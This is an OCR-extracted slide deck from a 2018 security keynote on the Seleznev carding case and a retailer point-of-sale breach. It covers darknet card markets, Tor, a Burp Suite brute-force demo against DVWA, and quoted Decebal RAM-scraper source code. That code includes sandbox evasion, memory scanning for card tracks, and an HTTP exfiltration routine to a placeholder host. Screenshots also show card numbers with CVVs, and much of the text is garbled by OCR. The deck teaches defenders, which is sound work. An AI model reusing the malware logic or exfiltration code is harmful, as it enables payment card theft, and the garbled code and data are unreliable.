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October 30, 2018
Large Installation System Administration (LISA) USENIX 2018 Conference Keynote
Nashville, TN

Dr. Sarah Lewis Cortes, PhD, IAPP/E, CISA, CRISC


http://wiki.sarahcortes.is

Agenda

e (Convicted: Roman Seleznev; Crimes: Carding,
Skimming, Financial & High-Tech Fraud

e Breach Technical Deep Dive: Retailer Hack
o Password Cracking
o Darknet Acquisition

o POS RAM Malware/Skimmers
® Prevention/Solutions






Roman Seleznev

aka Track2, “nCuX” ncux, "psycho"
Bankrupted businesses
Hacked into point-of-sale (POS) computers

2014: Arrested in Maldives with > 1.7m
credit card numbers

2016: Convicted, 38 counts: wire fraud,
intentional damage to a protected computer,
aggravated identity theft, > $169m damages

2017: Sentenced to 27 + 14 years



Roman Seleznev

e Helped grow market for
stolen credit card data

e Top point-of-sale hacker,
criminal underworld

e Son of Valery Seleznev,
Russian Parliament
member, Putin ally
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SYSTEM RESOURCE USAGE MONITOR (SRUM)

TOR BROWSER WAS LAST USER ACTIVITY

] T | FregoudlieTn

14124]  07/05/2004 02:240]\Deice\ HardaiskolumeS Users\smaus{Desktop!Tor BrowserBrowserifrefoxese  [51-5-21-872095761-2623845239-3737112615-1001 R13030013

14129 070572004 02:24:0‘\De'n'oe\_Harddﬂd‘oIumeS'\Users\smaus"\,Deshop\,TorBrowsefﬂor\tomxe S 15-21-§72085761-2623048238-3737112615-1001 12666306

(7] 0757204 16000 Devceerddislohmedindone Stem3llsmss e _ £S5

1141281 07/05/2004 18:00:00F\Device\ HarddiskolumeS ¥ indows'System32csrs.xe 1481443718
= e e = e ——  — —————— —————

Source: Harold Chun & Norman Barbosa, prosecutors



FORENSIC EVIDENCE
I (Scattle, WA) — e = — —

Response October 29, 2010 BT 0 A WO A
MCLEAN, VA

B oD

Name Url Name Imemnet Anifact Type | Modification
Tme
_REGISTRY _USER_NTUSER_S-1.5.21. hatpcshanalk fods nidic2.exe | History Typed URL | 1022710
SEL09579- | SK28B05G2- 298494 184-1005 10:2907 : 74 . 58 70 53 oL 72 7 32 65 72 34 StartSer
- S - - - 4090h: 3 : 8 w O Q 3 72 51 7 B P 6 3 CreatesSe
_REGISTRY _USER_NTUSER_S-1+8-21- hipe'sendspoce. com' Histoey Tyvped URL | 10022710 4-3':901: vice g:.,,:\j. ry
SRLA00579- | SK2EBOS62- 29849404 184- 105 102907 40B0h: stem Client
-Il')l..'"l' \ e yw
A0D0ON:;
d0EOh:
40F0h:
4100h:

I (Scattle) ALioh:
Response January 20, 2011 A140h:

41%0h:
4160h:

onN

SN
9 O 4

rsca.exe. . .OPEN
SERVICE! . .RSCA
OPENSCHANALE
R: ExE Afte
rBIND BaforeBl
ND. . ELSE! Thread
BEFORESTARTSERVI
CE..AfterDELETE
"Pastributed Tra

RN
WO s
U o W~ ¢
OdWWWWwwW
*
L
AN wooa

~ oo

kOO

oeCTNMoOmMoo
SRS WM

©

JOAADaEMANTOQ

D~ ANO

NE LB
IOhAWWO®

BN WNMN N

NN

Liea Modificution .
struct IMAGE
Time kit -
JCHAR doscod
REGISTRY _USER_NT [Iipu/I88 120.225 66shumak exe | History' Taped URL | 10004/10 17:38:17 struct IMAGE
USER S-1-5-21 struct IMAGE
TIN5 1 70608362
7253455411003

Naine Url Name Irscenct Amifact Type




Criminal Carding

Buy, sell, trade online credit card data
stolen from large retailer data breaches

~$10-$25/stolen card#

Use purchased stolen card#s to buy
pre-paid credit cards

Buy gift cards, electronics at retail

. ™ WQ \ m RIS G ndi N RO LU
f % R mw N
stores N 50

q © Read before contacting us on ICQ.
( 212159
{ 996165
\

Resell fraudulently purchased goods T P
on the internet

Items shipped to a “reshipper”
Image: Tor Dark Market via Brian Krebs 10
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Data Breach Events

Breach Size

2018: Manufacturer 150 million
2017: Online financial svc provider 143m
2016: Online social network 4m
2015: Online financial svc provider 15m
2014: Retailer 56m

2013: Online mail/news aggregator 3 billion
Many others...

Source: CSO online

12


https://www.csoonline.com/article/2130877/data-breach/the-biggest-data-breaches-of-the-21st-century.html

Source: Dark Owl

Breached Data on the Darknet: Retailer

e Scttlement includes mandatory darknet monitoring

SAVKHZ370LWUUB37.0NION - AUG 20, 2018

LleHa nocesiweHus: Bpems 3seps - Mapkees
Oner

ROSPRAVOVKDVAOBR.ONION - FEB 15, 2018

Pewexue no geny 7-471/2017 - 20.2 4.5 - cyabs
Hadbwmkos P. M. - 03/05/2017 - PocllpaBocyaue

ROSPRAVJMNXYXLU3.ONION - SEP 30, 2018

Peluenune no geny 5-215/2014 - 20.2 4.2 - cyabs
3aHbko AnekcaHap TumodbeeBuy - 25/08/2014
VTG3ZDWWE4KLPX4T.ONION - MAY 1,2018

Fwd: c MeponpuaTUs 22 noHsa

M.TRADITIO3TRZIWPN.ONION - FEB 17, 2018

2018-02-18T07:32:23+03:00 Pycckoe
Wmnepckoe AwxeHue O ru 2011-12-

TRADITIO3TRZIWPN.ONION - AUG 6, 2018

2018-08-06T13:08:27+03:00 Pycckuin, nomorn
pycckomy O ru 2007-05-1

LleHa nocsiweHus: Bpems 3Beps - Mapkees Oner

http:/savkhz37olwuub37.onion/book.php?book=37414
Crawled On: Aug 20, 2018, 6:16:19 PM

Cepbit AHren (HepasragaHHas cynb6a)
maBsa cegbmas. Yyxas semns
Cepblit AHren
maBa Bocbmasi. ManeHbkue TalHbl 60MbLIOro gomMa
Cepblit AHren
MeponpusaTus _
masa gesaTas. JloBLbl Yenosekos
Crapble nbBbl
maBa gecsitasi. Cneg o60poTHsS
Cepblin AHren
OnepatuBHas o6cTaHoBKa
MmaBa oavHHaauaras. Bonka Horv kopmsit
Cosparenb o6pa3oB
maea geeHaguaras. MNpo nuap u He ToNbKO...
Cospartenb obpasos
[Ovkapb (PeTpocnekTuea-3)
maBa TpuHaguarasi. [IBopLOBbIE TaiHbl
Crapble nbBbl
OnepatuBHas o6cTaHoBKa
[Ovkapb (PeTpocnektusa — 4)
Crapble nbBbl
maBa YeTblpHaguartas. Hatypnpoaykr
Cosparenb ob6pasoB
MmaBa nsTHaguartas. CMOTpUHbI Nof BUdLLTEKC C KPOBbLIO

Metadata Details

(K



Breached Private Data on the Darknet: Credit Cards

€) CREDITCARD ~) CONTAINSANY ~  cyy

109,420 Total Results

PPASTEBIN.COM - OCT 19, 2017

(2017-10-19T10:45 By: guest) 4590619642636893 CVV: 07/1107/12 4590610943680292 CVV: 350 07/11 07/

(2017-10-19T10:45 By: guest)
£4590619642636893 CWV: 151 07/1107/12 https:/pastebin.com/raw?i=Lu7S6trL
Crawled On: Oct 19, 2017, 9:58:44 AM

PASTEBIN.COM - APR 27, 2017

(2017-04-27T09:42 By: guest) 500 euro CVV : 4590619642636893

4508509917283086 MM : 12 YY : 20 CWV : 631 -- Metadata Details o iy -
07/1107/12

All Cards 66 4590610943680292
VALIDBANKCARDS.BIZ - NOV 3, 2017 CWV :350
Visa 55
07/1107/12
4590612724383047
CWV : 640
PASTEBIN.COM - APR 14,2018 07/1107/12
4590619456040992
(2018-04-14T17:14 By: Unroses) Credit Card CWV : 398
oump From | o+ 07/1107/12
459061096795
SELLCVVDUMPS.SHOP - AUG 25, 2017 CWV 312
07/1107/12
ca | Sell Cvv (Cc), Dumps track 1 track 2 with pin 4590618048793191
CW :239
07/1107/12
4590619715940958
(2017-09-05T14:34 By: elijahmicaelson3) gordo QW : 219
07/1107/12
4590611614822346

Validbankcards

PASTEBIN.COM - SEP 5, 2017

FORUM.BREAKBEAT.CO.UK - SEP 10, 2017

Source: Dark Owl



Retailer Hack: Skimmers

=EViDE

ALAMEDA CCUNTY Sk




Retailer Hack: How they did 1t
Password Cracking (e.g. Burp Suite)

‘ PROFESS!CN%LUITE
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Recent Publications/Education

Ricimonp RICHMOND

I

| Journal of Law & Technology

BOSTON
UNIVERSITY

SCHOOL of
Medicine

Technologies for Homeland.Security



http://wiki.sarahcortes.is
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http://wiki.sarahcortes.is

Retailer Hack: Profile of most frequent targets

e [Large retailers

t 02 SEPTEMBER 2014 / COMMENTS:

e Many locations USA & World Dumbps u

e [arge number of customer A
. : Base name: CEUIOpPedadn o4ahncC
credit/debit card accounts Valid rate of: 100%
eyqe . No replacements!
e Millions of customer email

#

d d Base name: American Sanctic
aadresses Valid rate of: 100%

Track 1, Track 2, State/zip. No replac
You probably shopped at one of

loneyGram Is faster and works

these in the last week!

22
Image: Tor Dark markets via Brian Krebs



Retailer Hack: Cost: 2017 Settlement

$136m- Visa, MasterCard
$ 27m- banks: fraudulent charges
$ 19m- consumers

$ 16m- legal fees
$198m- Total

23



Retailer Hack: Timeline

April 2013

e Password Cracking; Account acquisition from the darknet

July 2013

e Zero-day Attack: Exploit vulnerability
e Jump the barriers between vendor and retailer system

24



Retailer Hack: Timeline
April 2014
g Malware on self-checkout terminals:

e Reads cleartext payment card data in
RAM on POS terminal

e Uses regex (regular expressions) to
grab payment card information (PCI)

U ea e
o 212159
. 996165 .

Sends to attacker's servers

Image: Tor Dark Market via Brian Krebs



Retailer Hack: Timeline

June-November 2014- Carding on dark markets

September 2014- Breach publicly detected, reported by a
journalist: cards seen for sale on the darknet

November 2014- Phishing

October 2017- Breached customer PII still on the darknet

26



Retailer Hack:
How they dld it PROFESSIONAL

e Event starts with a target’s vendor:

Attacker gains vendor’s credentials

rd.post@*

e Password Cracking (e.g. Burp Suite)

0-09T11:21 careerlabs.com) careerlabs.com - 2527 user

bin.com/raw?i=fTCh

e Account acquisition from the darknet |-




Retailer Hack: Skimmers

=EViDE

ALAMEDA CCUNTY Sk




Breached Data on the Darknet: Retailer*

Settlement includes mandatory darknet monitoring

Case 1:15-cv-02999-TWT Document 74-1 Filed 04/28/17 Page 18 of 32

3. The Company shall monitor and periodically assess key indicators of compromise

on computer network endpoints;

4, The Company shall maintain and periodically assess partnership with a dark web

mining service to search for _infonnation;

Source: In re: Retailer, Shareholder Derivative Litigation, US District Court for the Northern District of Georgia, 2017

AS


https://www.bloomberglaw.com/public/desktop/document/IN_RE_THE_HOME_DEPOT_INC_SHAREHOLDER_DERIVATIVE_LITIGATION_Docket?1494524134

Password Cracking


http://wiki.sarahcortes.is

Retailer Hack: Passwor

3 Burp Suite Community Edition v1.7.33 - Temporary Project
Burp Intruder Repeater Window Help

Target Proxy Spider Repeater

Site map

| Method | UR

<\ J 7
Request —

Raw Hex
A
v

0 matches

d Crack Demo

PORTSWIGGER

_URI

31



Web App (DVWA) v1.8 :: Vulnerability: Brute Force - Mozilla Firefox

Retailer Hack:
Brute Force w/DVWA

1) Target: DVWA Web login:
http://www.dvwa.co.uk

(D*** Vulnerable Web App)


http://www.dvwa.co.uk

Retailer Hack: Brute Force w/DVWA

Burp Suite Free Edition v1.6.01

Burp Intruder Repeater Window Help

I Target T Proxy] Spider ] Scanner ] Intruder ] Repeater ] Sequencer ] Decoder I Comparer ] Extender l Options ] Alerts ‘

Intercept | HTTP history IVWebSockets history ] Options I

Filter: Hiding CSS, image and general binary content

# & Host Method | URL Params | Edited | Status | Length | MIME type | Extension | Title Comment P Cookies

http://dontestserver.com GET / ( unknown host

http:/fwww. dontestserver.... GET fdvwa/ ( 302 482 10.0.0.118 PHPSESSID=pc..
http:/fwww.dontestserver.... GET fdvwa/login.php ) 200 1577 php Damn Vulnerable We... ) 10.0.0.118
http:/fwww.dontestserver.... POST Jdvwa/login.php 302 397 php ) 10.0.0.118
http://www.dontestserver.... GET Jdvwafindex.php 200 5058 php Damn Vulnerable we o 10.0.0.118
http:/fwww.dontestserver.... GET Jdvwa/vulnerabilities/brute/ 200 5014 Damn Vulnerable we... 10.0.0.118
http://www.dontestserver.... GET fdvwajvulnerabilities/brute/ 200 5014 Damn Vulnerable We 10.0.0.118

http:ffwww. dontestserver.... GET /dea/'vulkﬂ.rabilities/bruteﬂuser. ) 200 5064 Damn Vulnerable we 10.0.0.118




Retailer Hack: Brute Force w/DVWA

kali 2016.2 - VMware Workstation 12 Player (Non-commercial use only)

Player « v

Applications v  Places v [ burp-StartBurp + Sat 10:58
Burp Suite Free Edition v1.7.21 - Tempora

Burp Intruder Repeater Window Help

Target Proxy] Spider 1 Scanner l Intruder 1 Repeater | Sequencer l Decoder i Comparer l Extender 1 Project options l User of

I HTTP history l WebSockets history 1 Options l

Request to http://192.168.138,129:80

Forward Drop Intercept is on Action

[Raw Params [Headers ]He‘ |

/dvwa/vulnerabalaities/brute/?usernane=hell o«

192.168.158 C
-Agent: Mozill&/5.0 (X11; Linux 1686; rv:45,.0) Gecko/20100101 Firefox/45.0C
text /html pl /xhtml+xml,application/xml;gq=0.9,%/¢;q=0.8

ept -Language: 1-US,en;q=0.5
http://1¢€ 58.138 29/dvwa/vulnerabilities/brute/

ookie: securitys=lo PHPSESSID=e1b0354f23e72234229¢7484d359b7

Connection: close




Retailer Hack: Brute Force w/DVWA

Burp Suite Free Edition v1.6.01

Burp Intruder Repeater Window Help

l Target I Proxy ] Spider l Scanner ] Intruder I Repeater ] Sequencer ] Decoder | Comparer ] Extender ] Options I Alerts l

Intercept | HTTP history 7W£I;Si‘;crlgertsihi;torl§7]Bptl'o'r;s“l

Filter: Hiding CSS. image and general binary content

# & Host Method | URL Params | Edited | Status | Length | MIME type | Extension | Title Comment P
http://dontestserver.com 3 / unknown host
http: f/fwww.dontestserver.... GET Jdvwa/ 302 482 10.0.0.118
http://www.dontestserver... GET fdvwa/login.php C 200 1577 php Damn Vulnerable We.. L 10.0.0.118
http: //www.dontestserver.... POST fdvwa/login.php 302 397 php 10.0.0.118
http://www.dontestserver. GET fdvwafindex.php . 200 5058 php Damn Vulnerable We J  10.0.0.118
http://www.dontestserver.... GET Jdvwa/vulnerabilities/brute/ ) 200 5014 Damn Vulnerable We.. ) 10.0.0.118
http: //fwww. dontestserver GET Jdvwajvulnerabilities/brute/ 200 5014 Damn Vulnerable We 10.0.0.118
http://www. dontestserver.... GET Jdvwavulnerabilitiestbrute/?usermame=name. .. e 200 5064 Damn Vulnerable We.. ) 10.0.0.118

LS

ET /dvwa/vulnerabilities/brute/?username=name&password=pass&Login=Login HTTP/1.1

ost: www.dontestserver.com

ser-Agent: Mozilla/S.0 (X11; Ubuntu; Linux 1686; rv:48.0) Gecko/20100101 Firefox/48.0
ccept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/%;q=0.8
ccept-Language: en-US,en;q=0.5

hccept-Encoding: gzip, deflate

Referer: http://www.dontestserver.com/dvwa/vulnerabilities/brute/

ookie: security=high; PHPSESSID=pcqgt4tc91sg8omqtsomldkass

onnection: keep-alive

jpgrade-Insecure-Requests: 1




Retailer Hack: Brute Force w/DVWA

b | Burp Suite Free Edition v1.6.01 e x

Burp Intruder Repeater Window Help

Spider | Scanner Repeater | Sequencer | Decoder | Comparer | Extender | Options |

Filter: Hiding CSS, image and general binary content

4 Host URL Params | Edited Status | Length | MIME type | Extension | Title Comment
http://dontestserver ¢ / nown host
http:/fwww. dontestserver G fdvwa/ 302 0.118
http:/fwww. dont: r Jdvwa/login.php 200 HTML php Damn Vulnerable 1.0.118
http:/fwww. dontest fdvwa/login.php 302 HTML php 0.0.118
http:/fwww. dontest: r G fdvwafindex php 200 HTML php Damn Vulnerable W ).0.118
http:/fwww.dontes! r. fdvwajvulnerabilities/brute/ = 200 HTML Damn Vulneral 0.118
stserver fdvwajvulnerabilities/brute/ O 0 200 114 HTML Damn Vulnerable We 0.0.118
http:/fwww. dontestserver. /dea/vulnerablIities\lbmte{lm.emam&:nam?g,7)_&0—‘&544&!1’56!—‘ Damn Vulnerable We 10.0.0.118

R

http. /www. d L ame&pa:
Add to scope

Spider from har

g ‘________/ T
Ctri+l

L :

S

Beaiianl| Respons eater Ctri+R ‘
S equencer

Headers | Hex Send to Comparer (request) |

ulnerabilitie Send to Comparer (response)

.dontestse
1la/s.0 (X11; Ubuntu; Linux 1
t/html, application/xhtml+xml, applicatid

Show response er

Request in browser

Engagement tools [Pro version only]
Show new history window

Add comment

Highlight

Delete item

url command
Copy links
Save item

Proxy history help



Retailer Hack: Brute Force w/DVWA

Burp Suite Free Edition v1.6.01

Burp Intruder Repeater Window Help

] Target ] Proxy l Spider ] Scanner | Intruder | Repeater i Sequencer ] Decoder | Comparer ] Extender ] Options IAlcrts l
[+~ J2wn] - |
] Target I Positions | Payloads | Options [

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payvload types are available for each payload set, and each payload type can be

customized in different ways
Payload set 2 v Payload count: 0

= Look In: | [&§ Desktop ﬂ "] L] [ E O

Payload type: | Runtime file , Request count 0

(8§ Desktop Saves
firefox desktop
Pt

This payload type lets you configure a file from which to read payl RPIlpV6. txt

StartupNotify. txt

Select file

Terminal. desktop

File Name wordlist Ist

You can define rules to perform various processing tasks on each| Files of Type: | All Files v

Enabled Rule
Open Cancel

Edit

Remove |

Up

Payload Encoding




Retailer Hack: Brute Force w/DVWA

1 Intruder attack 1

Attack Save Columns

Positions | Payloads | Options |
Filter: Showing all items

Request 4 Payloadl Status Error Timeout | Length incorrect Comment

200 5027
admin 200 5027
admin 200 5027
admin 200 5027
admin password3 200 5027
admin thebestpassword 200 S027
admin thisisagoodone 200 5027
admin password 200 5088
admin thepasskash 200 5027

baseline request

O000C

r
L

r
L

BOEEEREEE

0
1
2
3
5
6
7
8

OC

38
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= Darknet Privacy Breach-Te hnical Review:
- Z Retailer Hack

Darknet Credential Acquisition


http://wiki.sarahcortes.is

KEEP

CALM

AND

»VsE TOR BROWSE!

2011 Egypt- Mubarak shuts down Internet (Tor)

Photo: Jafria News



https://jafrianews.com/2012/06/07/egypts-mubarak-sentenced-to-life-for-ordering-to-kill-protesters-during-the-uprising/egypts-ex-president-hosni-mubarak-behind-bars/

@ Stinks .,
I

CT SIGDEV

JUN 2012

Derived From: NSA/CSSM 1-52
Dated: 20070108
Narlaceifs Nn- 20270101

2013: Snowden uses Tor

Photo: Barton Gellman—Getty Images




42



Anonymous Communications Systems

Anonymity Online
Protect your privacy. Defend yourself

against network surveillance and traffic
analysis.

; ’,{/

@\ Download Tor =

Image: Tor Project, Inc.



What 1s the darknet?

Ef) How Tor Works &5 Tor node

« «» 4 unencrypted link
—pe encrypted link

Alice

Alice's Tor client
picks a random path to
destination server. Green -
links are encrypted, red
links are in the clear.

Source: EFF License. Creative Commons

e Definition
e What is i1t used for
e How does it work?

44


https://www.eff.org/copyright
http://wiki.sarahcortes.is

About Tor x \ 4

Tor Browser Search or enter address c Search

Congratulations!
This browser is configured to use Tor.

You are now free to browse the Internet anonymously.
Test Tor Network Settings

Q|

Search securely with Disconnect.me.

/ N 4
What Next? You Can Help!

Tor is NOT all you need to browse anonymously! There are many ways you can help make the Tor

You may need to change some of your browsing Network faster and stronger:

habits to ensure your identity stays safe. « Run a Tor Relay Node »

« Volunteer Your Services »
Tips On Staying A:
ips On Staying Anonymous » « Miksa Ponation s

E 4

The Tor Project is a US 501(c)(3) non-profit dedicated to the research, development, and
education of online anonymity and privacy. Learn more about The Tor Project »

Image: Tor Project, Inc.




Source: Dark Owl

Darknet news August 2018

8 Aug '17 - The Current State of the Darknet

CRYPTOCURRENCY CARDING
8% 5%

MACKERS
10%

A breakdown of the content found in our darknet database by category over time.

46



A Darknet Market: Tor “Hidden Services”

Overview
HS establishes Intro Points (IPs)
HS publishes Descriptors, IPs to HSDirs
Client requests IPs
Client establishes RendezVous Point (RP)
Client provides RP to IP
IP provides RP to HS
HS establishes circuit

N A LN~

Client: “I (i Rendezvous Point
- (RP): order tarts —

wzzlnt tto rts” here) Circuit Relays
Shot i A-1st Tor Relay
Introduction Point (IP): “I : B-2nd Tor Relay
have a line on those tarts”

C-3rd Tor Relay

G Guard Relay

M Middle Relay
E Exit Relay

Yellow: Tor relay
Pink: non-Tor relay

Tor Hidden Services

Explained Intuitively

By @SarahCortes HSDir: “Tarts for sale @ tarts.onion.

Go to Bob’s bakery for more info” ke Semiae ers o




“Darknet” 1s...

e Internet “Overlay” network

e Alternative internet addressing scheme to DNS
e (annot be traced to IP address

Source: The Tor Project, Inc.

Copyright Sarah Lewis Cortes 2018 wiki.sarahcortes.is

48


http://wiki.sarahcortes.is

“Tor” 1s...

Online Network

Software

Network of People

Nonprofit Organization
Research Project

Cryptographic Routing Protocol
What Tor 1s NOT

Photo and Image: US Navy: Dr. Paul Syverson, US Navy, Inventor of Tor, Onion Routing


http://wiki.sarahcortes.is

“Tor” timeline...

1990s: US Navy Project

2001: Syverson: US Navy patent
2002: Alpha version

2004: Public

2006: “The Tor Project,” incorporated by
Dingledine, Mathewson, Lewman et al.

2018: 6,300 Tor relays, ~2 m sessions daily
network traffic, > 275 Gbits/second

50


https://en.wikipedia.org/w/index.php?title=Paul_Syverson&action=edit&redlink=1
http://wiki.sarahcortes.is

Darknet Privacy Breach Technical Review

Retailer Hack
POS Ram Scraper Malware

51



Retailer Hack: POS RAM scrapers
Features

» Multi-component

* Single binary

* Networking functionality

* Bot functionality

« Kill switch

* Encryption

* Development kits

» Multi-exfiltration techniques

Source: US v. Seleznev, W. District of WA, Bench Warrant

52



Retailer Hack: POS RAM Scraper Malware

Malware on self-checkout terminals:
e Reads clear text payment card data RAM on POS terminal
e Uses regex (regular expressions)- grabs payment card info (PCI)

([0-9]115-16§ [D=] [0 (7-9)] | 1[0-5])
((0 [1-9]) | [1 (0-2)] ))[0-9]18-30})

® Predominantly Windows OS
e C(Captured data: sent to attacker's servers
http:// www.badguyserver.co.cc/

ap1/process.php?xy=BadGuyBadGuyBadGuyBadGuy##

53


http://www.badguyserver.co.cc/

Retailer Hack:
BlackPOS v2 a/k/a FrameworkPOS malware

e Pretends to be a component of antivirus

e Enumerates all of the processes running on the infected system using the
EnumProcesses method and scans the process memory for Tracks 1 and 2
credit card data

B TECHNICA @ BIZ&IT TECH SCENCE POLICY CARS  GAMING & CULTURE  FORUMS

B ignored security warnings

for years, employees say

Old antivirus, infrequent scans, and a security architect who pled guilty to sabotage.

Source: Ars Technica 54



Retailer Hack: BlackPOS malware

scan Brocess:3956

FC nenregion:12 [080087780000007

; 18000000000000002 ~ 15011 01 1 90004477
;4]

CC menregion:12 (0410110008447
A1 111111111111-1594101100004477

]
CC2 region:12 [(PBBB8770000007

; 1000000PNRNRRNA2 ~15041 91 1 POBR4477
;4)

[ICC2 region:12 [04101100004477
AL11111111111111~15P94101100004477

Sample BlackPOS credit card data output

Source: Trend Micro



Retailer Hack:
Similar example: Decebal POS RAM scraper

1) Coded in VBScript, compiled into an executable file
2) Coded in C, C++, or Delphi
3) Source code leaked online
4) Data-exfiltration method: HTTP POST requests
a) not cached
b) not saved in history
c) no restrictions on data-sending length

Source: Trend Micro
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Retailer Hack: Decebal POS RAM scraper

1) Infects systems via drive-by-download attacks

2) Startup: checks for installed sandboxing/reverse-engineering tools on infected
systems. To evade detection. if any is discovered, it will terminate its process. (1)

3) Installs itself in % USERPROFILE% as iexplorer.exe. It then audits infected
systems in order to determine their OS, computer name, and username (2)

4) Decebal also retrieves the name of any anti-malware solution installed on infected

systems. This information is exfiltrated to a remote server, along with the stolen
Tracks 1 and 2 credit card data. (3)

Source: Trend Micro
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Retailer Hack: POS RAM scrapers
Decebal malware example

Sub santi()
Dim aD11s(2) As String, aMDDs(4) As String, bFound As Boolean, Thkey As Long, TLen As Long, 1

aD115(0) = "SbieD11.d1 1" ‘'sandboxie

apilis(1) = “dobghelp.dil™

anp11s(2) = “LOG_API32.0LL" 'Apt logger

AHODS (0) = " *UWWARE_VIRTUAL_IDE_HARD_DRIVE_*" 'threatexpert,com/subm t,aspx

anDDs (1) = “*QEMU*" ‘anubis.iseclab.org

aMoDs(2) = “*FLOPPY2K12*" ‘malwr.com

AHDDS(3) = "*DISK *" 'Joe Sandbox Desktop £.0.0 Tile-analyzer.net

AHDDS(4) = “*EXCELSTOR_TECHNOLOGY_*" ‘CwSandbox mwanalysis.org
If App.EXEName = “sample" Then bFound = True ‘camas.comodo.com/

22 = SetErrorMode(1024)
If 2Z = 0 Then bFound = True

1) Decebal checks for the presence of debugging tools

Source: Trend Micro 58




Retailer Hack: Decebal malware example

Function versionToName() AsS String
Select Case PEBGetwinversion
case "1.0.0": versionToName
case "1.1.0": versionToName
case "1.9.0": versionToName
case "2.3.0": versionToName
case "2.4.0": versionToName
case "2.5.0": versionToName
case "2.5.1": versionToName
case "2.5.3": versionToName = “windows 2003 (SERVER)"
case "2.6.0": versionToName "Wwindows vista"
case "2.6.1": versionToName = "“windows 7"
case "“2.6.2": versionToName = “windows 8"
case Else: versionToName = "uUnknown"

End Select

End Function

Function GetosBitness() As String
Dim ProcessorsSet As Object, CPU As Object
Set ProcessorsSet = GetObject("winmgmts:").ExecQuery("SELECT * FROM win32_Processor")
For Each CPU In Processorset
GetOsBitness = CStr(CPU.Addresswidth)

Next
End Function

"wWindows 95"
"Wwindows 98"
"windows Millenium"
"wWindows NT 3.51"
"Windows NT 4.0"
"windows 2000"
"wWindows xp"

2) Decebal audits infected systems



Retailer Hack: Decebal malware example

Function sGetav() As String
Dim objiwMIService AS Object, avp AsS Object
Set ob)ywMIService = QOb(“"winmgmts: {impersonationLevel=impersonate} \\.\root\SecuritctyCenter")
For Each avp In objwMIService.eExecQuery("select = from AntivirusfProduct”)
SGeTAV = SGetAV & avp.Displayname & “
Next
IT Len(sGetay) < 3 Then sGetav = “"Nope"
End Function

3) Decebal checks for anti-malware solutions

Source: Trend Micro 60



Retailer Hack: POS RAM scrapers
Decebal malware example

5) Inspects all of the running processes by calling CreateToolhelp32Snapshot to take a
snapshot of all of the running processes on infected systems, along with the heaps,
modules & threads. (4)

6) Then calls Process32Next inside a do-while loop. (4) Maintains blacklist of processes
(e.g., svchost.exe, csrss.exe, wininit.exe, etc.) to skip because finding credit card data in
the memory of these processes is highly unlikely

7) If a current process being inspected is not in the blacklist, it opens the process object
using OpenProcess and reads the memory content via ReadProcessMemory. (4)

Source: Trend Micro
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Retailer Hack: Decebal malware example

Sub sMemoryFind()

On Error Resume Next

Dim hProcess As Long, 1pMem AS Long, ret As Long, 1LenMBI As Long, sBuffer As String, S1 As !
RMATION, sLensearch As Long
Dim oRegQExp AS RegExp, aMatches As MatchCollection, item As Match, hSnap As Long, Pel2 As PRI
Dim SExe AS String, Fata As sString, 1File As Integer, Spate As String, sLinie As String

hSnap = CreateToolhelp32snapshot(TH3I2CS_SNAPALL, 0&)
Pe32.dwsSize = LenB(Pel2)

Do while Process32Next(hSnap, Pel2)
SExe = TrimNul1(Pe32.52ExeFile)

IT Pe32.thi2ProcessID © GetCurrentProcessid Then

If SExe © "System” Or SExe © "svchost.exe" Or sExe < "csrss.exe"” Or sExe © "wininit,exe"
hProcess = QpenProcess (PROCESS_READ_WRITE_QUERY, False, Pe32.th32ProcessID)

TLenMBI = Len(mbi)

GetsSysteminto Si

TpMem = Si.1pMinimumapplicationAddress

Set oRegExp = New RegExp

OREQEXP. Ignorecase = False

oReQExp.Global = True

ORegExp.Pattern = “\d{13,19)s\d{7)\w*\?"
'OREQEXp.PatTern = ";\d{13,19)}=\d{7}\w*?"

4) Uses CreateToolhelp32Snapshot method to search for Track 2 credit card data. Calls
Process32Next inside a do-while loop
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Retailer Hack: POS RAM scrapers
Decebal malware example

8) Regexes to match Tracks 1 and 2 credit card data are run on the process memory
content that Decebal reads. (4)

9) Decebal has a built-in Luhn-validation mechanism. (5) The results returned by regex
matching are validated to make sure that the Track data that it scrapes from the process

memory contains valid credit card numbers.

10) Exfiltrates stolen data by making connection requests to a remote server via
InternetOpenUrl. Data 1s exfiltrated in HTTP header sent to the remote server. SendPHP()
subroutine constructs a special URL that contains hexadecimal-encoded values (6)

Source: Trend Micro 63



Retailer Hack: Decebal malware

SLISTaNeagra(Z4) = "e222222222222222222”

sListaNeagra(2s) = "6244444444444444444"
sListaNeagra(26) = "4744870016311111" 'exitthematrix pos trigger
sListaNeagra(27) = "8811111111111111111"
sListaNeagra(28) = "8833333333333333333"
sListaNeagra(29) = "88999999999999999"
sListaNeagra(30) = "5544444444444444"
sListaNeagra(31) = "“SS77777772772777277"
sListaNeagra(32) = "41111111211111111"
sListaNeagra(33) = "4222222222222"
sListaNeagra(34) = "4555555555558"
sListaNeagra(3s) = "499999999999999"
sListaNeagra(36) = "4026444444444444"
sListaNeagra(37) = “4026777777777777"

For 1 = LBound(sListaNeagra) To UBound(sListaNeagra)
IT SNR = sListaNeagra(i) Then: Luhn = False: ExXit Function
Next 1

IT Len(SNR) < 12 Then Luhn = False: ExXit Function
IT Len(SNR) > 19 Then Luhn = False: EXit Function

SS = StrrReverse(sSNR)

5) Built-in Luhn-validation
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Retailer Hack: Decebal malware

Sub SendPHP()
Dim Session AS Long, Http AsS Long, sLink AS String, SLG AS String, iFile AS Integer,

SLG = sReadstringsfFromFile(sLogsPatch)
sLocal = srReadstringsFromFile(sLocalLogs)

If Len(SLG) < 10 Then Exit Sub
IT Len(sLocal) > 19 Then s5LG = sSLG & sLocal
Session = InternetOpenA(”Decebalvi.o", 0, vbNullIString, vbNullsString, 0)

sLink = "http://YOURHOST.RO/FISIER.php?&co=" & _
sHexX(Environ("computername')) & _

"aus=" & sHexX(Environ("username")) & _

"Lave=" & sHex(sGetav) & _

"&0s=" & SHex(sGet0s) & _

"atr2=" & sHexX(sLG)

Http = InternetOpenurlA(Session, sLink, vbNullstring, 0, &H200, 0)
IfT Http < 0 Then

InternetCloserdandle Http

InternetClosedandle Session

6) Uses HTTP headers to exfiltrate stolen data
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How it Happened: POS Technical Review

POS Security Weaknesses

Inadequate network segregation between corporate and POS networks

Practice of entering credit card numbers directly into computers at each
department, rather than using POS credit card terminals directly

Weak third-party vendor identity/access mgt/compliance oversight

Attackers initially broke in using credentials stolen from a third-party vendor
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Basic Problem

Tradeoff: Speed, Ease-of-Use vs. Security

Speed & Ease-of-Use gain more $ than is lost by security
vulnerabilities

